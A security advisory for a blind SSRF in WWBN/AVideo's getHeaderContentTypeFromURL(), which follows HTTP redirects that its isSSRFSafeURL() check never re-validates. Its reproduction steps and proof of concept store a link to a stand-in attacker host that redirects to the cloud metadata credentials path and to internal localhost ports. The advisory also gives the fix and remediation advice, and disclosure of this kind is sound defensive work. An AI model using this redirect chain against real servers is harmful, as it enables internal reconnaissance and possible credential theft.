All vulnerabilities
GHSA-m8q2-35pq-qrmc

WWBN/AVideo: Blind SSRF via redirect-following in getHeaderContentTypeFromURL() (bypasses isSSRFSafeURL)

WWBN/AVideo
CVSS
n/aLow
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in2db920d3326729743511a27de44034b0a6c78b05Fixed versionGitHub
Published7 Oct 2026Updated 7 Oct 2026GitHub

What fixes it

  • 2db920d3326729743511a27de44034b0a6c78b05WWBN/AVideo, avideo (source deployments)GitHub

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Blind SSRF via redirect-following in getHeaderContentTypeFromURL() (bypasses isSSRFSafeURL)

  • Severity: Low (maintainer assessment: authenticated, blind, GET-only SSRF with a boolean render-type oracle)
  • Affected asset: WWBN/AVideo, master branch, commit 8a32cc70a4 (HEAD at audit time)
  • Reporter: (this audit)
  • Date: 2026-10-05
  • Status: Confirmed and fixed; no CVE assigned at publication.

Summary

getHeaderContentTypeFromURL() (objects/functions.php:6124) validates a video's videoLink with isValidURL() and isSSRFSafeURL() before calling get_headers($url, 1) — but get_headers() follows HTTP redirects by default (PHP's default http wrapper has follow_location = 1) with no re-validation of the redirect target. Every other outbound-fetch path in this codebase (url_get_contents(), plugin/LiveLinks/proxy.php) explicitly disables redirect-following and manually re-validates each hop with isSSRFSafeURL() — this function is the one gap that doesn't follow that pattern, re-opening the exact SSRF class the surrounding code (and its own inline comment) claims to have closed.

Affected versions

Tested on branch master, commit 8a32cc70a4 (2026-10-05/06). This project ships rolling weekly releases from master with no in-repo semantic version string (per RELEASING.md), so the affected range is expressed using commits: deployments containing the vulnerable function before fix commit 2db920d3326729743511a27de44034b0a6c78b05, including the tested commit, are affected.

Reproduction steps

  1. As any user with upload/add-video-by-URL rights, create a video with videoLink pointing at an attacker-controlled server:
   POST /objects/videoAddNew.json.php
   videoLink=http://attacker.example/redir

(objects/videoAddNew.json.php:88-146 stores this via $obj->setVideoLink($_POST['videoLink']).)

  1. Attacker's server at http://attacker.example/redir responds with:
   HTTP/1.1 302 Found
   Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

(or any internal host:port, e.g. http://127.0.0.1:8500/ for an internal admin service).

  1. Any visitor (including unauthenticated) opens the stored video's page. This triggers Video::getIncludeType($video) (objects/video.php:6930), which for videoTypeLinkVideo without m3u8 in the link calls isHTMLPage($video['videoLink']) (objects/functions.php:6078), which calls getHeaderContentTypeFromURL($url) (:6124).
  2. getHeaderContentTypeFromURL() passes the initial-host check via isSSRFSafeURL(), then calls get_headers($url, 1), which transparently follows the 302 to the internal target and returns its Content-Type header — a real server-side outbound request to attacker-chosen internal infrastructure, with the HTTP response's Content-Type observable indirectly through whether the video renders as 'embed' (text/html match) or 'video'.

Verified empirically during the audit: a local 302 redirect from an SSRF-safe host to http://127.0.0.1:8900/secret was followed transparently by get_headers() and its Content-Type was returned — confirming the primitive.

Impact

Blind SSRF: the server makes a real outbound GET request to any internal host/port an attacker can redirect to (cloud metadata endpoints, internal admin panels, non-exposed services), with no scheme/host restriction beyond the first hop. While the fetched content is not returned verbatim to the attacker, the embed vs. video render-type choice functions as a boolean oracle (text/html present vs. absent vs. connection failure), enabling internal port-scanning / service-fingerprinting and confirming reachability of internal-only endpoints — a meaningful step in further internal attacks (e.g. confirming a cloud metadata service is reachable before chaining with another primitive).

Proof of concept

# 1. Attacker-controlled redirector:
GET http://attacker.example/redir  ->  302 Location: http://127.0.0.1:8900/internal-only

# 2. Plant as upload-capable user:
POST /objects/videoAddNew.json.php
videoLink=http://attacker.example/redir

# 3. Any visitor opens the video's page -> server-side:
Video::getIncludeType() -> isHTMLPage() -> getHeaderContentTypeFromURL()
  -> isSSRFSafeURL('http://attacker.example/redir')  == true (attacker.example is public/safe)
  -> get_headers('http://attacker.example/redir', 1)  follows 302 -> fetches http://127.0.0.1:8900/internal-only server-side

Code path confirmed by direct source read:

// objects/functions.php:6124
function getHeaderContentTypeFromURL($url)
{
    // SECURITY: isValidURL() only checks format, not destination - require isSSRFSafeURL()
    // since $url here can be an attacker-controlled videoLink (Video::getIncludeType()).
    if (isValidURL($url) && isSSRFSafeURL($url) && $type = get_headers($url, 1)["Content-Type"]) {
        return $type;
    }
    return false;
}

isSSRFSafeURL() only validates the URL passed in — it has no hook into get_headers()'s redirect-following, so a safe initial URL that 302s to an unsafe one is never re-checked.

Remediation

Update to master commit [2db920d3326729743511a27de44034b0a6c78b05](https://github.com/WWBN/AVideo/commit/2db920d3326729743511a27de44034b0a6c78b05) (2026-10-07) or a later revision containing this fix. Deployments before this commit that contain the vulnerable function are affected. The fix disables automatic redirect following, resolves redirects manually, and validates every redirect destination with isSSRFSafeURL() before requesting it. Regression tests are included in tests/Security/HeaderContentTypeRedirectTest.php and tests/Security/SecurityHardeningRegressionTest.php.

The following were the original remediation suggestions:

  • Disable redirect-following for this specific check and treat a redirect response as "unknown / not HTML" rather than following it:
  $context = stream_context_create(['http' => ['follow_location' => 0]]);
  $headers = @get_headers($url, 1, $context);
  • Or, preferably, replace this ad-hoc get_headers() call with the codebase's own hardened fetch helper (url_get_contents() / the manual-redirect-revalidation pattern already used in plugin/LiveLinks/proxy.php), which re-runs isSSRFSafeURL() on every redirect hop before following it.
  • Audit for any other direct get_headers() / file_get_contents() / curl call in the codebase that passes an isSSRFSafeURL()-checked URL without also disabling or re-validating redirects — this audit only confirmed this one call site as reachable with attacker-controlled input; the same class of bug could exist elsewhere.

Relationship to prior advisories

This is an incomplete fix of the already-published GHSA-vjgr-5x63-cq96 ("Authenticated blind SSRF via stored videoLink get_headers() in getHeaderContentTypeFromURL"), not a duplicate. That advisory was filed against a version of getHeaderContentTypeFromURL() that had no isSSRFSafeURL() call at all. The vendor's fix (visible in the current code, with an explicit // SECURITY: comment) added the isSSRFSafeURL($url) check exactly as that advisory's "Suggested Fix" recommended. This report documents that the fix is incomplete: isSSRFSafeURL() only validates the *initial* URL, and get_headers() still follows redirects via PHP's default stream context with no re-validation of the redirect target — reopening the identical SSRF primitive through a bypass of the patch itself.

References

  • CWE-918 (Server-Side Request Forgery)
  • Contrast with the correct pattern already present in this repo at plugin/LiveLinks/proxy.php (DNS-pinned, re-validates every redirect hop)
  • Incomplete fix of GHSA-vjgr-5x63-cq96 — see "Relationship to prior advisories" above
  • Report to: developer@streamphp.com per .github/SECURITY.md

Text from GitHub Advisory Database

Affected versions 1

  • WWBN/AVideo, avideo (source deployments)master before commit 2db920d3326729743511a27de44034b0a6c78b05GitHub